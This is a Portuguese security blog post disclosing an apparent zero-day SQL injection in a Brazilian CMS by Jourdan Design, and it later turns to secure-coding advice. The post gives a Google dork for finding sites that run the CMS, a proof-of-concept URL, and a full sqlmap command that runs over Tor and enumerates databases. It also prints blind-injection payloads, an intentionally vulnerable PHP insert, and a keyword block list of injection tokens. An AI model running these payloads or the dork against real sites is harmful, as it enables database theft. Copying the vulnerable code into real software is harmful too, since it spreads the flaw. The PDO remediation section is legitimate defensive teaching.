( 0day ) -  CMS  Jourdan Design - SQL INJECTION
Autor: INURL Brasil | Publicado: 2015-09-30T21:32:00-03:00

Bom continua minhas pesquisas com ( CMS's ) brasileiros, esbarrei nas minhas "Googladas" com o CMS da empresa Jourdan Design.
Que o mesmo apresenta falhas graves de injeção SQL, via request POST &amp; GET.
Como não achei código fonte, ou padrão de outros cms's deduzi que eles usam uma aplicação priv8.

Vamos aos fatos....
Em uma pequena e rápida analise é possível constatar MÚLTIPLAS VULNERABILIDADES:

INFORMAÇÕES:

[+] FORNECEDOR:            http://www.jourdandesign.com.br
[+] VERSÕES VULNERÁVEIS:   (NÃO IDENTIFICADO)
[+] ARQUIVO:               VIA POST: newsletter_done.php, pesquisa_done.php
                           VIA GET : nossa_historia_texto.php
[+] DORK:                  "by Jourdan Design" "news_not_pk"
[+] REPORTADO:             30/09/2015


Senhoras e Senhores que estão lendo esse humilde artigo, não quero falar que isso é uma falha grande
E que vai afetar milhões de pessoas ... pois não vai, essa "plataforma" ou emaranhado de códigos
não filtrados afeta no máximo seus usuários/clientes, mas o grande intuito é mostrar filtros com PDO..
e filtros desprotegidos e algumas boas condutas.

( Todo desenv sabe || deveria saber ) que sistemas quando vão para produção tem que está como seus erros tratados, pelo menos deveriam certo (?!).
Quase toda aplicação que é invadida via SQL - INJECTION é devido seus erros não tratados no server side, muitas vezes são ownadas por 'BOTS', sim bots. que ao identificar esse erro de Syntax SQL já começa injetar comandos par extração de informações.

MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ?
A resposta é NÃO!




Apesar de ser informações básicas tanto pequenas quanto grande empresas incluindo governos ainda sofrem com isso.

Vamos aos BUGS da Jourdandesign
Demonstrarei somente um.

ARQUIVO:
newsletter_done.php
REQUEST POST:
nome=bypass&amp;email=bypass@aduneb.com.br&amp;Submit3=cadastrar

POC:
http://www.vul.com.br/newsletter_done.php?nome=bypass+{SQL_INJECTION_BLIND}&amp;email=bypass@aduneb.com.br+{SQL_INJECTION_BLIND}&amp;Submit3=cadastrar


GERANDO ERRO PASSANDO CARACTERES MALICIOSOS






ERRO EXPOSTO:



Pelos campos passados podemos perceber que tais parâmetros fazem parte da newsletter do "CMS", mas manipulando tais valores, saindo da validação javascript podemos bypassar.
Dica: sempre validar dados no lado servidor, seja ele vindo de clientes logados ou não.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Se o request é feito pelo usurário, não confie no Request filtre.

EXPLORAÇÃO VIA SQLMAP:
COMANDO:
sqlmap -u 'http://www.vull.com.br/newsletter_done.php' --data "nome=bypass&amp;email=123#2*@aduneb.com.br#1*&amp;Submit3=cadastrar" -p nome --random-agent --level 3 --risk 2 &nbsp;--tor --tor-type=SOCKS5 --dbs&nbsp;--thread 5

PRINT:






RETURN SQLMAP DEBUG PAYLOAD:

Parameter: #1* ((custom) POST)
&nbsp; &nbsp; Type: boolean-based blind
&nbsp; &nbsp; Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
&nbsp; &nbsp; Payload: nome=bypass&amp;email=-7840') OR 1946=1946#@aduneb.com.br#1&amp;Submit3=cadastrar

&nbsp; &nbsp; Type: AND/OR time-based blind
&nbsp; &nbsp; Title: MySQL &gt;= 5.0.12 AND time-based blind (SELECT - comment)
&nbsp; &nbsp; Payload: nome=bypass&amp;email=123#2') AND (SELECT * FROM (SELECT(SLEEP(10)))Vxmq)#@aduneb.com.br#1&amp;Submit3=cadastrar

Parameter: #2* ((custom) POST)
&nbsp; &nbsp; Type: boolean-based blind
&nbsp; &nbsp; Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
&nbsp; &nbsp; Payload: nome=bypass&amp;email=-1051') OR 5045=5045#&amp;Submit3=cadastrar

&nbsp; &nbsp; Type: AND/OR time-based blind
&nbsp; &nbsp; Title: MySQL &gt;= 5.0.12 AND time-based blind (SELECT - comment)
&nbsp; &nbsp; Payload: nome=bypass&amp;email=123#2@aduneb.com.br#1') AND (SELECT * FROM (SELECT(SLEEP(10)))tdlq)#&amp;Submit3=cadastrar


CÓDIGO:
Um exemplo de como pode está o código do arquivo&nbsp;newsletter_done.php

&lt;?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";



$nome  = $_POST['nome'];
$email = $_POST['email'];


// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn-&gt;connect_error) {
    die("Connection failed: " . $conn-&gt;connect_error);
} 

$sql = "INSERT INTO newsletter (nome, email)
VALUES ('{$nome}', '{$email}')";
if ($conn-&gt;query($sql) === TRUE) {
    echo "EMAIL CADASTRADO COM SUCESSO!";
} else {
    echo "Error: " . $sql . "&lt;br&gt;" . $conn-&gt;error;
}

$conn-&gt;close();



?&gt;



Sem &nbsp;nem um tipo de filtro no request POST os valores são &nbsp;setados direto nas variáveis da aplicação.


NÃO FAÇA ISSO NUNCA!







USE PDO!
PDO É VIDA CARA!
USE FILTROS!
ISSO SALVA VIDAS!





Um simples exemplo usando PDO e filtros:


CÓDIGO:


&lt;?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";


// VALIDANDO $_POST SE CAMPOS EXISTEM
$nome = is_set($_POST['nome'])   ? $_POST['nome'] : exit('&lt;p&gt;FALTA campo nome!&lt;/p&gt;');

$email = is_set($_POST['email']) ? $_POST['email'] : exit('&lt;p&gt;FALTA campo email!&lt;/p&gt;');


// FILTRANDO CAMPOS POST
$nome =  is_name($nome)   ? $nome  : exit('&lt;p&gt;NOME invalido!&lt;/p&gt;');
$email = is_email($email) ? $email : exit('&lt;p&gt;Email invalido!&lt;/p&gt;');

// INICIANDO CONEXÃO



try {
$dbh = new PDO("mysql:host={$servername};dbname={$dbname}",$username,$password);
 &nbsp;

$stmt=$dbh-&gt;prepare("INSERT INTO newsletter (nome, email) VALUES (:nome, :email)");
$stmt-&gt;bindParam(':nome' , $nome);
$stmt-&gt;bindParam(':email', $email);
$stmt-&gt;execute();



$dbh = null;
} catch (PDOException $e) {
    print "&lt;p&gt;Error!: SQL/INSERT - 0001&lt;/p&gt;";
    die();
}
// REF CÓDIGO:&nbsp;
// http://php.net/manual/pt_BR/pdo.prepared-statements.php
// http://php.net/manual/en/pdo.prepare.php




//FUNCTION VALIDANDO SE VALORES PASSADOS EXISTEM
function is_set($value) {

    return isset($value) &amp;&amp; !empty($value) ? TRUE : FALSE;
}
// REF CÓDIGO:
// http://php.net/manual/en/function.isset.php
// http://php.net/manual/en/function.empty.php




// FUNCTION FILTRANDO CARACTERES E VALIDANDO SE É EMAIL
function is_email($email){

// Remove all illegal characters from email
$email = filter_var($email, FILTER_SANITIZE_EMAIL);

// Validate e-mail
return (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) ? true : false;
}
// REF CÓDIGO:&nbsp;
// http://php.net/manual/en/filter.filters.sanitize.php&nbsp;
// http://www.w3schools.com/php/filter_validate_email.asp
// http://bobby-tables.com/php.html&nbsp;
&nbsp;

// FUNCTION FILTRANDO E VALIDANDO NOME
// MODELO PARANOICO
function is_name($name) {&nbsp;
&nbsp;

// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO       
foreach (array('0X', 'DROP', ';','--','UNION','CONCAT(','TABLE_','INFORMATION_',"'",'"') as $value) {
$name = !strstr(strtoupper($name), $value) ? $name : FALSE;
           &nbsp;
}
// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO + HTML         
$name = (filter_var(stripslashes(strip_tags(trim($name))), FILTER_SANITIZE_STRING));
 return $name;
}

  
?&gt;


É um pequeno código simples com mais segurança, seguindo as seguintes dicas:



VALIDAR EXISTÊNCIA DO REQUEST
FILTRAR CAMPOS
USAR PDO EM TODA E QUALQUER SELECT,UPDATE,DELETE,INSERT
- SE POSSÍVEL&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp;VALIDAR O TIPO DE VARIÁVEL&nbsp; &nbsp; &nbsp; &nbsp;VALIDAR TAMANHO MAXIMO CAMPOS / INPUT HTML&nbsp; &nbsp; &nbsp; &nbsp;VALIDAR TAMANHO MAXIMO CAMPOS / INPUT JAVASCRIPT
ANTES DE GERAR O REQUEST DESNECESSÁRIO AO SERVIDOR
REGRA PRINCIPAL NÃO CONFIE NO CLIENTE.




ÚLTIMA REGRASIGA TODAS REGRAS ACIMA.